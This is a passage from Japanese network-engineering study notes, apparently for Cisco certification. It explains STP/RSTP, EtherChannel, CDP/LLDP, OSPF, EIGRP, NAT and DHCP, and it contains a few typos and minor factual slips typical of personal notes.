タイマーデフォルト値説明
Hello Time2秒スイッチのBPDUの送信間隔
Max Age20秒ルートブリッジからのBPDUを受信しなくなり障害発生と見なすまでの時間。この20秒間にBPDUを受信しないとSTPの再計算が開始する。
Forward Delay15秒リスニング状態、ラーニング状態にとどまる時間

3.3.4. STPの関連機能

3.3.4.1. PortFast

PortFastは通常のSTP状態遷移を経由せずにすぐにFowarding Delayの状態となり通信可能となる機能。 具体的にはBlocking状態からForwardingに状態を省略できる。

これはCis co社が独自に高速化する方法として考案し、ポートの状態がListenning, Learingの状態のときにデータを転送しないために通信できない期間を短縮するためのものとなっている。

なおPortFastはPCが接続されFowardingとなるポートで設定を行う必要があり、L2スイッチ間リンクではループの原因となるため設定してはならない

3.3.4.2. BPDUガード

BPDUガードはBPDUを受け取るべきではないPortFastの設定がされているポートがBPDUを受け取らないための仕組み。 PortFastの設定ポートがBPDUを受け取ってしまうと意図したスイッチがルートスイッチではなくなりルートが想定どおりに通らなくなってしまう。それを防ぐための機能といえる。

なおBPDUガードはデフォルトで有効化されていないためネットワーク管理者が自動で有効化する必要がある。 BPDUガードが設定されているポートではBPDUを受け取るとErr-Disable状態となりポートはシャットダウンされデータを送受信できなくなる。 なおポートの復旧にはL2スイッチにアクセスしてコマンドを入力する必要がある。

3.3.4.3. ルートガード

ルートガードは既存環境よりもブリッジプライオリティの小さいスイッチが勝手に接続された際に既存のSTPトポロジの変更を防ぐ仕組み。この機能もBPDUガードと同様に既存のSTPトポロジの保護ができる機能となる。

ルートガードを設定ポートにルートブリッジよりも上位のBPDUが送信されるとポートをroot-inconsistent(ルート不整合)状態にする。そうすると通信がブロックされる。 BPDUガードと異なり、上位のBPDUが送られなくなると通常の状態遷移をするようになる。

3.3.5. RSTP

RSTP(ラピッドスパニングツリープロトコル)はSTPを改良したIEEE802.1wで規定されたプロトコル。 このプロトコルはPortFastと異なり、CISCO社製以外のスイッチでも使用することができSTPと互換性があるため併用が可能となっている。

RSTPはSTPの上位互換機能であるため大部分のネットワークで使用されている。 機能としてはコンバージェンスまでの時間が数秒までに短縮されている特徴がある。

ポートの役割

RSTPではSTPのポートの役割(ルートポート、指定ポート、非指定ポート)に加え、非指定ポートをさらに2つに分割している。 その2つのポートが代替ポートバックアップポートとなる。

代替ポートはルートポートの予備ポートであり障害が起きてルートポートの通信トポロジが崩れた際にルートポートになる。 バックアップポートは指定ポートの予備のポートとなる。 そのためコンバージェンスまでの時間が短縮される構造となっている。

ポート説明
ルートポート各スイッチごとにルートブリッジへの最適パスコストを持つポート
指定ポート各セグメントごとにルートブリッジへの最適なパスコストを持つポート
代替ポートルートポートの代替ポート
バックアップポート指定ポートの代替ポート

ポートのステータス

STPには5つのステータス(Disabled, Blocking, Listening, Learning, Forwarding)がある。 RSTPではDisabled, Blocking, Listeningの機能は同じことからDiscardingというステータスに統一される。

ステータス意味MACアドレスデータフレーム
DiscardingBPSDを送受信し、各ポートの役割決定を行う状態学習しない転送しない
LearningBPSDを送受信し、MACアドレステーブルの学習をしている状態学習する転送しない
Forwardingデータ転送が可能な状態。ルートポート/指定ポートは最終的にこの状態となる学習する学習する

RSTPのBPDUのやり取り

RSTPではタイマーにより管理を行わずスイッチ間で直接やり取りしてポートの役割を決定する仕組みを採用している。 仕組みとしてはそれぞれのスイッチでBPDUを作成し下流のスイッチに転送している。 トポロジ変更の検知も上記と同様に行われる。 スイッチ間の生存確認を直接行うためBPDUを3回受け取らなかったら障害発生とみなすようになっている。

なおルートを切り替える場合等はスイッチ間でプロポーサルアグリーメントとよばれる種類のBPDUをやり取りすることで役割をすぐに決定するようになっている。

エッジポート

RSTPではPC、ルータ等のデバイスが接続されるポートはエッジポートとして扱う。 Cisco社製のスイッチの場合PortFast設定を行ったポートがエッジポートとして扱われる。 またL2スイッチを接続しているポートは非エッジポートとなる。

シェアードリンクとポイントツーポイントリンク

RSTPではスイッチ間の接続をシェアードリンクポイントツーポイントリンクの2つに分類している。

シェア&ポイント

種類特徴
シェアードリンクスイッチ間にハブが入っている状態、またはスイッチのポートが半二重に設定されている場合、STPタイマーを使った収束を行う
ポイントツーポイントリンクスイッチのポートが全二重に設定され、スイッチが1対1で接続されている場合、STPタイマーに依存しない高速収束を行う

3.3.5. VLANとSTPの組み合わせ

3.3.5.1. VLAN共通のスパニングツリー

STPとVLANは標準化された時期が異なるため構成を考える際に工夫する必要がある。 その手法にはCSTがあり、具体的にはVLANが各スイッチにどのように分散されているか関係なくルートブリッジの位置を決定しツリー構成を考える手法となる。

CSTの特徴は以下の通り。

  • 複数のVLANを1つのSTPインスタンスで管理するため所属LANによって通信効率が悪いルートを通る場合がある
  • STP構成が1種類なためユーザトラフィックが特定リンクに集中してしまう
  • STPインスタンスは1つだけの記憶で済むためメモリ負担は小さくなる
  • BPDUが1種類で済むためスイッチ間トラフィック量が少なくなる

3.3.5.2. VLANごとのスパニングツリー

CSTの状況を避けるために**PVST+**という独自手法がCISCO製品では使用される。 これはPVSTを改良したものとなる。

PVST+ではプライオリティが拡張システムID(12bit)というものを追加して拡張されている。 PVST+のプライオリティの特徴としてはプライオリティ値は4bit、4096の倍数で指定するなどがある。

特徴としては以下の通り。

  • 複数のVLANごとにSTPインスタンスを管理するため各VLANの通信が最適ルートを通ることができる
  • VLANごとにSTP構成が異なるためユーザトラフィックが分散される
  • STPインスタンスを複数記憶する必要があるためメモリ負荷はCSTより大きくなる
  • BPDUがVLANごとに作られるためスイッチ間トラフィックが増加する

なおPVST+以外の似た手法にIEEE802.1sMSTPと呼ばれるプロトコルがある。

3.3.6. STPの分類とまとめ

分類

3.4. EthernetChannel(LAG)

EthernetChannel(Link Aggregation Group: LAG)は複数の物理リンクを1つの論理的なリンクとみなして複数のリンクを効率よく利用する技術のこと。 これは既存の環境で使用しているスイッチ間の帯域幅を増やしたい場合に使用できる。

EthernetChannel

3.4.1. EthernetChannelの特徴

EthernetChannelでは最大8本のリンクを1つの論理リンクとして扱うことができる。 複数のリンクを1つの論理リンクとしてまとめることはバンドルと呼ばれ、論理化したポートはPort-channelと呼ばれる。

EthenetChannelを使用するメリットは以下の通り。

  • 帯域幅を増やせる
  • トラフィック分散(ロードバランシング)が可能
  • 耐障害性の向上

3.4.2. EthernetChannel設定の注意/留意点

EthenetChannelはどのポートでもバンドルできない。 条件は以下の通り。

  • ポートの通信モードが同じ
  • ポートの速度が同じ
  • ポートがすべて同一のLAN
  • VLANの設定をすべてのポートで同じにする必要がある

また負荷分散方法の設定を適切に行うと通信を複数リンクに効率分散させられる。

EthernetChannelのネゴシエーション

EthernetChannelの利用のためにはバンドルするポートを合わせてそれぞれのポート設定をまず合わせる。 一方で手動で強制的にEthernetChannelを形成する方法がある。

EthernetChannelではPAgP(CISCO独自定義プロトコル)とLACP(IEEE802.3adで規定)と呼ばれる2つのプロトコルを利用して速度/VLAN設定をネゴシエーションを行いEthernetChannelを形成できるか決定することができる。

種類モード動作
手動on強制的に有効化
自動PAgPdesirable自分からPAgPネゴシエーションする(相手から受信して合わせる)
自動PAgPauto自分からPAgPネゴシエーションしない(相手から受信して合わせる)
自動LACPactive自分からLACPネゴシエーションする(自分から送信する)
自動LACPpassive自分からLACPネゴシエーションしない(相手から受信して合わせる)

対応表

またEthernetChannelはポートセキュリティ/IEEE802.1Xの設定がされているポートでは設定ができない。

3.5. CDP/LLDP

隣接する機器の情報を取得するためのプロトコルとしてCDPLLDPがある。

3.5.1. CDP

CDPはCISCO社独自定義プロトコルでデータリンク層で動作する。 CDPではデフォルトで60秒ごとに機器の情報をマルチキャストで送信し、受信した情報はデフォルトで180秒の間キャッシュされる。

3.5.2. LLDP

LLDPはIEEE802.1ABとして標準化されたデータリンク層で動作するプロトコル。 異なるベンダーのネットワーク機器間でも使用することが可能

LLDPは通常デフォルトで30秒ごとに情報をマルチキャストで送信し、120秒間更新がなければ取得した情報を削除する構造となっている。 なおLLDPではCDPでは伝えなかったトポロジの変更情報を伝える

6.1.4 - 4.ルーティング

ルータやL3スイッチの動作のキホン

4.1. ルーティングの基本

ルータはパケットの送信の際に最適なルートをルーティングテーブルから選び転送する。 この動作はルーティングと呼ばれルータの基本動作となる。

4.1.1. ルータの基本動作

ルータのデータの転送の流れは以下のようになる。

  1. ルーティング対象のIPパケットを受信する
  2. 宛先IPアドレスからルーティングテーブル上のルート情報を検索して、転送先を決定する
  3. L2ヘッダを書き換えてIPパケットを転送する

ルータがIPパケットを転送するには、あらかじめルーティングテーブルに転送先のネットワークの情報が登録されていることが前提となる。 ルーティングテーブルの作成方法にはスタティックルーティングダイナミックルーティングの2通りの方法がある。

4.1.2. スタティックルーティングとダイナミックルーティング

方法内容
スタティックルーティングネットワーク管理者が手動で登録する方法
ダイナミックルーティングルータ間で情報のやり取りを行い自動でルート情報を設定する方法

4.2. ルーティングプロトコル

ダイナミックルーティングで使用されるルーティングプロトコルは複数の種類がある。 代表的なものは以下の通り。

  • RIP(Route Information Protocol)
  • OSPF(Open Shorttest Path First)
  • EIGRP(Enhanced Interior Gateway Routing Protocol)
  • BGP(Bourder Gateway Protocol)
  • IS-IS(Intermediate System To Intermediate System)

ルーティングプロトコルを語るうえでメトリックとアドバタイズという値が重要になる。

4.2.1. メトリック

メトリックは宛先ネットワークまでの距離を表すものとなる。 これは最適なルート選択際に使用される値であり、最も値が小さいルートが優先されルーティングテーブルに登録される。

ルーティングプロトコルメトリック値
RIPホップ数
OSPF帯域幅から計算するコスト
EIGRP帯域幅, 遅延,信頼性, 負荷, MTUを使う複合的なメトリック

4.2.2. アドバタイズ

ダイナミックルーティングでルータ同士が交換しているルート情報はルーティングアップデートと呼ばれ、ルート情報を隣接ルータに通知することはアドバタイズと呼ばれる。

4.2.3. ルーティングプロトコルの分類

4.2.3.1. 使用場面による分類

ルーティングプロトコルは使用される場面で分けると2つの分けられIGPEGPに分けられる。

IGPは自律システム内(AS)で経路情報を交換するためのルーティングプロトコルの総称。 ASはある組織がある管理ポリシに従い運用しているルータやネットワークをひとまとめにしたものをさす。 ISPが管理しているネットワークなどがASにあたる。

EGPは異なるAS間でやりとりするためのルーティングプロトコルの総称

種類プロトコル
IGPRIP, OSPF, EIGRP, IS-IS
EGPBGP, EGP

4.2.3.2. アルゴリズムによる分類

ルーティングプロトコルは最適なルートを導き出すための手順/考え方が異なる。 これはルーティングアルゴリズムと呼ばれ、IGPではディスタンスベクタ型、拡張ディスタンスベクタ型、リンクステート型に分けられる。

分類されるプロトコル説明規模
ディスタンスベクタ型RIP互いのルーティングテーブルを交換する方式。距離と方向情報を基にベルマンフォード法により最適ルートを選択する小・中
拡張ディスタンスベクタ型(ハイブリッド型)EIGRPディスタンスベクタ型にリンクステート型の特徴を入れた方式。アルゴリズムはDUALを使用し、帯域幅、遅延、信頼性、MTU、負荷にK値と呼ばれる重み係数をかけてメトリック計算を行う。中・大
リンクステート型OSPF, IS-ISルータが自身のインターフェイス情報(LSA)の交換を行う。リンクステートの情報からSPFアルゴリズムを用いて計算を行い最適ルートを選択する中・大
各項目ディスタンスベクタ型拡張ディスタンスベクタ型(ハイブリッド型)リンクステート型
アルゴリズムベルマンフォードDUALSPF
交換情報ルーティングテーブルルーティングテーブルの一部リンクステート(インターフェイス状態)
コンバージェンス速度遅い速い速い
ルータの処理負荷小さいリンクステートより小さい大きい
帯域消費高い低い低い
ルーティングループの発生ありなしなし
プロトコルRIPEIGRPOSPF, IS-IS

4.2.3.3. クラスレスルーティングプロトコル/クラスフルルーティングプロトコル

クラスフスルーティングプロトコルはルーティングのアップデートにサブネットマスク情報を含めることができるルーティングプロトコルのことで、クラスレスルーティングプロトコルはサブネットマスク情報を含めないルーティングプロトコルのこと。

プロトコル代表的なプロトコル
クラスフルルーティングプロトコルRIP(Ver 1.0)
クラスレスルーティングプロトコルRIP(Ver 2.0), OSPF, IS-IS, EIGRP, BGP

4.2.3.4. アドミニストレーティブディスタンス

ルータでは複数のルーティングプロトコルを同時動作させることができる。 その場合どのルーティングプロトコルで得た情報をルーティングに使用するか判断する必要がある。 Cisco製品のルータの場合はアドミニストレーティブディスタンス値(AD値)を使用しそれを決定する。 AD値はルーティングプロトコルに対する信頼性を表す値。

アドミニストレーティブディスタンス値はルーティングプロトコルの優先値であり小さいほど優先度が高い

プロトコルアドミニストレーティブディスタンス値コード
接続接続されているネットワーク0C
スタティックルート1S
eBGP20B
EIGRP90D
OSPF110O
IS-IS115i
RIPv1,v2120R
iBGP200B

手動で設定したスタティックルートはアドミニストレーティブディスタンス値(以下ad値)が1となるため優先度が高い。 これは障害発生時にダイナミックルーティングでルート学習できなくなった際にこのルートを使用するといったことが可能。 このスタティックルートはフローディングスタティックルートと呼ばれる。

4.2.4. 最適経路の選択

ルーティングにおいて最適経路は以下の順位で算出される。

  1. ロンゲストマッチ(最長一致)
  2. AD値(アドミニストレーティブディスタンス値)
  3. メトリック

4.2.5. 経路集約

経路集約はRIPv2、EIGRP、OSPFで使用できる機能で複数のサブネットワークのルーティングアップデートを1つに集約して送信できるもの。 これによりルーティングテーブルのサイズが縮小され、コンバージェンス時間も短縮される。

注意点として経路集約を行う際は集約を行うアドレスの上位ビットは同じである必要がある。

4.3. OSPF

4.3.1. OSPFの概要

OSPFは使用用途でルーティングプロトコルを分けた際にIGPに分類されるルーティングプロトコル。現在最も使用されている。 また以下のような特徴を持つ。

  • 様々なベンダーのルータで使用可能
  • リンクステート型のルーティングプロトコル
  • ルーティングプロトコルのトラフィックを削減可能
  • コンバージェンスが速い
  • VLSM(可変長サブネットマスク)に対応
  • ネットワークの階層化が可能
  • メトリックとしてコスト削減が可能
  • ルーティング認証が可能

OSPF

OSPFのルーティングテーブルへの登録手順

  1. LSA(IPアドレスなどのインターフェイス情報)を受け取ったらLSDBと呼ばれるDBに格納する
  2. 各ルータはLSDBを基にSPFアルゴリズムにより自信を起点としたSPFツリーを作成しそこからの最短経路をルーティングテーブルに登録する

OSPFのルーティングアップデート

OSPFでは通常隣接ルータの生存確認にはHelloパケットのみを送信する。 これによりRIPよりもトラフィックが少なくなる。

OSPFのコンバージェンス

OSPFではあらかじめすべてのルータがネットワーク構成を把握しているため高速にコンバージェンスができる。

OSPFのネットワーク階層化

OSPFではエリアという単位でネットワークを分割できるため、把握すべきルータの台数が増えても記憶すべきトポロジの情報量を減らすことができる。 エリア分割は中心エリア(バックボーンエリア)とその他のエリアに分けて階層化を行い管理する。

OSPFのメトリックを使用したコスト計算

OSPFではメトリックに帯域幅から計算するコストを使用する。

メトリックは簡単に言うと目的地にたどり着くまでの困難さを示す指標

コスト = 10^8 (bps) / 帯域幅(bps)

小数点以下は切り上げを行う。 この算出式より得られるコストの合計が最小になるルートが最適ルートとなる。

なおコストが同じとなる経路が複数ある場合は負荷分散される。 この特性を生かして恣意的に同じコストになるように調整する場合もある。

4.3.2. OSPFの動作

OSPFはコンバージェンスまでに状態を遷移する。 状態の遷移は以下の通り。

  1. Helloパケットを交換し隣接ルータの発見/生存確認を行う
  2. 隣接ルータの情報を保持するネイバーテーブルに送信元ルータを登録する
  3. 相互認識をルータ間で行いLSDB交換準備をする
  4. ルータ間でDBDパケットの交換をする
  5. 詳細なLSA情報の交換をする

1. Helloパケットを交換し隣接ルータの発見/生存確認を行う

OSPFを動作させたルータはHelloパケットをマルチキャストアドレス(224.0.0.5)宛てに送信する。 Helloパケットで検知した隣接ルータはネイバーと呼ばれる。

Helloパケットを受け取る前のネイバーの初期状態はDown Stateとなる。

2. 隣接ルータの情報を保持するネイバーテーブルに送信元ルータを登録する

Helloパケットを受け取ったルータは、ネイバー一覧を保存するネイバーテーブルに送信元ルータを登録する。 そのルータの状態はinit stateに設定する。 この状態では一方だけが相手のルータを認識している状態となる。

ネイバーとして登録するにはHelloインターバルDeadインターバルスタブフラグサブネットマスク認証の情報エリアIDを隣接ルータと合わせる必要がある。

3. 相互認識をルータ間で行いLSDB交換準備をする

ネイバーを認識したルータはHelloパケットに自身の認識しているネイバー一覧を確認する。 相手から受け取ったHelloパケットに自身の情報が記録されているとき2Wayステートと呼ばれる状態になる。

4. ルータ間でDBDパケットの交換をする

ルータが互いに2Wayステートになった後、DBDパケットを使用して各ルータが持つLSDBの要約情報を交換する。 OSPFではLSDBをこの手順により同一化する。

DBDパケットの交換の際2つのルータでマスター(シーケンス番号の決定を行うルータ)とスレーブの関係を築く。 役割の決定を終えるとExchange Stateに移行する。

5. 詳細なLSA情報の交換をする

Exchange Stateのときに相手から受け取ったDBDパケットに新しいLSAが見つかったとき、ネイバーにLSRパケットを送信する。 LSRを受け取った隣接ルータは更新用のLSUパケットを送信する。LSUはインターフェイス情報等を保存したLSAのまとまりであり、 それを受け取ったら確認応答としてLSAckパケットを送信する。

LSRパケットとLDUパケットの送信している間はLoading Stateとなり、互いに最新情報を交換しLSDBの動機が完了するとAdjacency(完全隣接関係)となる。この状態にFull Stateとなる。

OSPFの状態遷移とパケットをまとめると以下の通り。

状態説明
Down StateHelloパケットを受け取る前
init StateネイバーからHelloパケットを受け取ったが、相手側ルータはまだこちらを認識していない状態
2-Way Stateルータが相互認識している状態
Exstart StateDBDパケットを交換するためのマスター,スレーブを選択している状態
Exchange StateDBDパケットを互いに交換しLSDBを同期させている状態
Loading StateLSRパケットを送信し、最新のLSAをLSUパケットとして取得している状態
Full State完全隣接関係を築いた状態
パケット説明
Helloパケットネイバーの発見/生存確認
DBDパケットLSDB要約情報の送信
LSRパケット詳細情報の問い合わせ
LSUパケットLSDBの更新のため
LSAckパケットLSUパケットの確認応答

4.3.3. マルチアクセスの際の動作

マルチアクセスはL2スイッチに複数のルータが接続されている状態をさす。 この構成ではトポロジ変更の際に各ルータがLSUを送信するとネットワークトラフィックが増大する。 そのためDR(代表ルータ)とそのバックアップとなるBDR(バックアップ代表ルータ)を選び、完全な隣接関係を全ルータではなく一部に決定する。これによりトラフィックの減少が見込める。

動作的にはDRとBDRのみが完全な隣接関係を結び、集めたLSUを他ルータに転送することで効率を上げている。 なおDRとBDRに選ばれなかったルータはDR-Otherと呼ばれる。

DRとBDRの決定

DRとBDRの選択基準にはルータプライオリティ(デフォルト: 1, 範囲: 0~255)とルータIDがある。

ルータプライオリティはルータのインターフェスごとに決定できる値でHelloパケットに含まれる。 マルチアクセス環境下ではルータプライオリティの値が最も大きいルータがDR、2番目に大きいルータがBDRとなる。

ルータIDはルータプライオリティが同値のときに比較される値。 ルータIDはIPアドレスと同じ書式となりルータIDの値が最も大きいルータがDR、2番目に大きいルータがBDRになる。

ルータIDは1つ値が安定し設定されることが推奨されているため以下手順で決められる。

  1. コマンドで手動設定する
  2. ルータの有効なループバックインターフェスのIPアドレスの中で最も大きいIPアドレスが選択される
  3. 有効な物理インターフェイスのIPアドレスの中で最も大きなIPアドレスが選択される

ループバックインターフェイスは管理者が任意で作成できる仮想的インターフェイスであり、シャットダウンしない限りはダウンしないものとなっている。

4.3.4. OSPFのルート選択

メトリックの計算

経由するインターフェイス数の和をとったときに最小のルートが最短となりルーティングに保存される。

厳密にはコストは10^8/帯域幅(bps)で求められるが、ファストイーサネット、ギガイーサネットのインターフェスでは1となる。

等コストバランシング

等コストバランシングはCISCO製機器の場合でコストが最短なルートが複数ある場合にデフォルトで4つまでルーティングテーブルに登録できる機能のこと。

この機能によりトラフィックを分散し異なるルータをデータが通れる。

ルート変更

デフォルト(コストがファストイーサネット、ギガイーサネットのインターフェスでは1)の帯域幅をそのまま使用して計算が行われると、帯域幅が1GBpsでも100MBpsでも同じコストになってしまう問題がある。下記のように調整することで対処する。

  • インターフェイスのコスト値を直接設定する
  • インターフェイスの帯域幅を変えてコストの計算結果を変更する
  • コストの計算式の分子(10^18)の値を変更する

4.3.5. OSPFの考慮事項

OSPFはネットワークのタイプにより動作が変わるプロトコルである。 以下にその動作関係をまとめた表を記載する。

タイプDRとBDRの選出Helloパケットによるネイバー自動検出Hello/Deadインターバル
ブロードキャストするする10秒/40秒イーサネット
ポイントツーポイントしないする10秒/40秒PPP
MBMAするしない30秒/120秒フレームリレー
ポイントツーマルチポイントしないする30秒/120秒
ポイントツーマルチポイント(ノンブロードキャスト)しないしない30秒/120秒

OSPF

パッシブインターフェイス

パッシブインターフェイスはOSPFを有効にしてもHelloパケットを送信しないようにする機能

これはPCを接続しているインターフェイスからはHelloパケットを送信する意味がないため、そういったケースに対応するための機能といえる。 この場合はOSPFとして、LSA(≒インターフェイス情報)がアドバタイズされる機能が必要なため必要ともいえる。

なおOSPFでパッシブインターフェイスの設定を行うとHelloパケットの送受信を行わなくなる

MTUサイズの合致

MTUは一回で送信できる最大パケットサイズのことを表す。 OSPFの場合、ネイバーのインターフェイスのMTUと自身のインターフェイスのMTUサイズが異なると完全な隣接関係を築けない。

そのため、MTUサイズは対向ルータと合わせるか、MTUの不一致の検出機能を無効にする必要がある。

4.3.6. マルチエリアOSPF

ネットワークが巨大になりルータの台数が増えトポロジ情報が多くなると経路情報の複雑化と大容量化が進むため計算が膨大になる。 そのためルータの負荷が増加し転送速度低下や切り替え時間が長くなるといった問題が起きる。 その対策機能としてマルチエリアOSPFがある。これはネットワークを階層化して管理するものである。

マルチエリアOSPFの種類には1つのエリアだけでOSPFを動作させることをシングルエリアOSPF、複数のエリアを作成してOSPFを動作させることをマルチエリアOSPFの2種類がある。

エリア作成の注意点

エリアを作成することでルート制御用のトラフィックを減らすことができる。 エリアを作成する際の注意点は以下より。

  • バックボーンエリアを作成する
  • 他のエリアをバックボーンエリア(エリア番号0)に接するように作成する
  • ルータをエリア境界に配置する

ルータの役割

ルータは所属エリアや場所により役割が異なる。

ルータの役割説明
内部ルータすべてのインターフェイスが同エリアに所属、且つ他のエリアに一切接していないルータ
バックボーンルータバックボーンエリアに所属するインターフェイスを持つルータ。
エリアボーダルータ(ABR)インターフェイスが2つ以上のエリアの所属しているルータ。エリア間の境界に位置している。
ASバウンダリルータ(ASBR)インターフェイスが異なるASに所属するルータ

AS … OSPF以外のRIPなどのルーティングプロトコルが動作しているネットワーク

4.4. EIGRP

4.4.1. EIGRPの概要

EIGRPは使用用途でルーティングプロトコルを分けた際にIGPに分類されるルーティングプロトコル。現在最も使用されている。 また以下のような特徴を持つ。

  • クラスレスルーティングプロトコルで自動集約をサポート
  • 自身が属しているAS番号内の経路をInternal(内部)、他のAS番号に属している経路やEIGRP以外のルーティングプロトコルで学習した経路をexternal(外部)として識別
  • 拡張ディスタンスベクタ型ルーティング(別名:ハイブリッドルーティング)
  • 「ネイバーテーブル」「トポロジテーブル」「ルーティングテーブル」の3つのテーブルを保持
  • ルーティングアルゴリズムはDUALを使用
  • メトリックには、帯域幅・遅延・信頼性・負荷を基に計算する複合メトリックを使用
  • メトリックが等しくない経路での負荷分散が可能な不等コストロードバランシングをサポート
  • IPだけでなく Novell IPXやAppleTalkのルーテッドプロトコルもサポート

4.4.1.1. 複合メトリック

EIGRPは最適な経路を選択するために、帯域幅・遅延・信頼性・負荷を基に計算する複合メトリックを使用する。 使用する内容は以下の通り。

  • 帯域幅:宛先ネットワークに到達するまでに経由するリンクの最小帯域幅(kbps単位)
  • 遅延:宛先ネットワークに到達するまでに経由する各インターフェースの遅延(delay)の合計(10マイクロ秒単位)
  • 信頼性:宛先ネットワークまでのリンクの信頼性。ビットエラーなどが発生すると信頼性は下がる(最も信頼できるものが255)
  • 負荷:宛先ネットワークまでのリンクでのトラフィック量。トラフィックが高いと負荷が上がる(最も負荷が低いものが1)

4.4.1.2. FD/RD

EGIRPではFDとRDの2種類のメトリックがあり、それはサクセサとフィージブルサクセサの決定に関係する。

メトリック説明
FD(Feasible Distance)自ルータから宛先ネットワークまでの合計メトリック
RD(Reported Distance)ネイバールータから宛先ネットワークまでの合計メトリック(ネイバーが教えてくれたメトリック)

4.4.1.3. サクセサとフィージブルサクセサ

サクセサはEIGRPの最適経路のネクストホップのことをさす。 サクセサは宛先ネットワークまでのFDが最も小さくなるネクストホップとなる。

フィージブルサクセサはサクセサのFDよりも小さいRDを通知するネイバのことを言う。 フィージブルサクセサの条件である「FD > RD」を満たす経路はルーティングループが発生しないことが保証されるので、フィージブルサクセサはバックアップルートや不等コストマルチパスのネクストホップとして使われる。

4.4.1.4. EIGRPの保持するテーブル

EIGRPではネイバーテーブル、トポロジテーブル、ルーティングテーブルの3つのテーブルを保持/使用する。

ネイバーテーブル … EIGRPのネイバー関係を確立しているルータの一覧表 トポロジテーブル … EIGRPで学習した全経路情報を保持するテーブル ルーティングテーブル … トポロジテーブルからサクセサルートを抽出したテーブル

4.4.1.5. EIGRPの隣接関係構築条件

EIGRPでは以下の条件を満たす場合に隣接関係が構築される。

  • ルータが同じ自律システム(AS)に所属している
  • メトリックの計算値(K値)が一致している
  • 認証情報(キーIDとパスワード)が一致している
  • Helloパケットを送受信するインターフェースが同一のサブネットに属している(前提条件)
  • Helloパケットを送受信するインターフェースでEIGRPが有効になっている(前提条件)

4.3.2. EIGRPの動作

EIGRPにおける最短経路は以下のように算出される。

  1. 宛先ネットワークから自身までのすべてのネイバ経由のFDを算出する
  2. 宛先ネットワークから自身までのFDのうち、最も小さいFDになるネイバを「サクセサ」とする
  3. サクセサのFDと各ネイバのRDを比較し、FD > RDとなるネイバを「フィージブルサクセサ」とする
  4. サクセサをネクストホップとする経路をルーティングテーブルに載せる

6.1.5 - 5. NAT・DHCP・DNS

IPアドレスの配布や変換に関するテクノロジ

5.1. NAT

5.1.1. NATとは

NATはIPヘッダ内のIPアドレスを変換する技術。 当初NATはIPv4の枯渇問題の対応法の1つとして考案された。

NATはインターネットへの接続の際にプライベートIPアドレスをグローバルIPアドレスに変換する際に使用される。

NATの用語

NATを考えるうえでいくつかの用語がある。

アドレス意味
内部ローカルアドレス内部ネットワークからみたIPアドレス(プライベートIPアドレスを指す)
内部グローバルアドレス外部ネットワークからみたIPアドレス(グローバルIPアドレスを指す)
外部ローカルアドレス内部ネットワークから見た外部のIPアドレス
外部グローバルアドレス外部ネットワークからみた外部のIPアドレス(通常NATでは外部の2つアドレスは同じ意味)

内部・外部

5.1.2. NATの通信フロー

グローバルIPアドレスはISPから割り当てられたものを使用する必要がある。また、ルータはNAT変換用のNATテーブルを持ち、そこにアドレスが登録される。

NAT

変換後が内部ローカルアドレス、変換前が外部ローカルアドレスを指す。

5.1.2.1. 一方向NAT

一方向NAT(Unidirectional NAT)は内部から通信を始め外部とのやりとりが可能で、外部から始めて内部と通信できないNATを指す。

このタイプのNATは外部から内部へアクセスできないため内部ネットワークを保護することが可能。 一般的なインターネット接続の場合はこの一方向NATとなる。

また一方向NATはTraditional NATOutbound NATと呼ばれる。

5.1.2.2. 双方向NAT

双方向NAT(Bi-directional NAT)は内部からも外部からも通信を始めてそれぞれやり取りすることができるNATを指す。

Two-Way NATとも呼ばれる。

5.1.3. NATの種類

NATにはいくつか種類があり、代表的なものにはStatic NAT, Dynamic NAT, NAPT等がある。

5.1.3.1. Static NAT

Static NATは一対一のアドレス変換技術を指す。

Static NATではネットワーク管理者が手動でNATテーブルにグローバルIPアドレスと内部ローカルアドレスの変換組み合わせを登録する。この場合内部ローカルアドレスは外部ネットワークに送信される際に常に同じIPアドレスに変換される。

またStatic NATでは双方向NATの動作も可能となる、しかしStatic NATでは1つの内部ローカルアドレスに対して1つのグローバルアドレスという1対1の関係になるため用意された内部グローバルアドレスの数だけしか同時に外部通信ができない

5.1.3.2. Dynamic NAT

Dynamic NATでは複数の内部グローバルIPアドレスをプールとして設定する。 内部のクライアントが外部と通信する際にアドレスプールから選択されたIPアドレスに変換される。 Static NATと異なる点は常に同じ内部グローバルアドレスに変換されるわけではない所にある。

Dynamic NATでは外部から通信する際にリアルタイムに自動でNATテーブルに登録されるので内部から通信を行うまで内部ローカルアドレスがどの内部グローバルアドレスに変換されるかわからない。 そのため動作としては一方向NATとなる。

また1対1の割り当て関係となるためアドレスプールに用意されている内部グローバルアドレスの数だけしか外部と通信ができない。

5.1.3.3. NAPT(PAT)

NAPT(PAT,オーバーロードとも呼ばれる)では1つの内部グローバルアドレスに対し複数の内部ローカルアドレスを対応付ける1対多の変換が行えるためアドレス節約が可能となる。 またNAPTはIPマスカレードとも呼ばれる。

またNAPTではTCPまたはUDPのポート番号も変換しNATテーブルに登録する。

NAPT

NAPTでは1つの内部グローバルアドレスで複数のクライアントが外部通信することができるためIPアドレスの消費を削減できる。

5.2. DHCP

DHCPはPCなどにネットワーク接続をできるようにするためにIPアドレスやサブネットマスクを自動で割り当てるためのプロトコルである。

サーバやルータなどには手動でIPアドレスを設定するのが一般的だが、ユーザが使用するクライアントPCに手動で設定するのは手間がかかる。そこでDHCPを利用してネットワーク接続を簡単にできるようにしている。

DHCPの設定は以下2つのパターンのいずれかで行える。

  • DHCPサーバを用意する
  • ルータ自身にDHCPサーバ機能を持たせる

5.2.1. DHCPサーバの動作

DHCPはDHCPサーバとDHCPクライアントから成り立つ。

クライアント端末から要求があるとDHCPサーバからIPアドレス、サブネットマスク、デフォルトゲートウェイ、DNS等の情報をが返送される。

DHCP

  1. DHCPクライアントからネットワーク全体にDHCP DISCOVERをブロードキャスト(IPv4の場合255.255.255.255)に送信
  2. DHCP DISCOVERを受け取ったDHCPサーバはクライアントに対しDHCP OFFERを送信し貸出予定のIPアドレスと関連するネットワークの情報を伝達する
  3. クライアントはDHCPサーバから送信されたDHCP OFFERの情報をに問題がなければDHCP REQUESTをブロードキャスト(IPv4の場合255.255.255.255)で送信し正式なリクエストを送る
  4. DHCPサーバはDHCP REQUESTに応答する場合、DHCP ACKを送信し、それをクライアントは受け取りネットワークの設定を行う

5.2.2. Gratuitous ARP

Gratuitous ARPはDHCPサーバからクライアントにIPアドレスを割り当てる際にDHCPクライアントが他ホストにすでに同じIPアドレスが割り振られていないか確認するために使用される機能である。

主にIPアドレスの重複検知のために行われる。

5.2.3. DHCPリレーエージェント

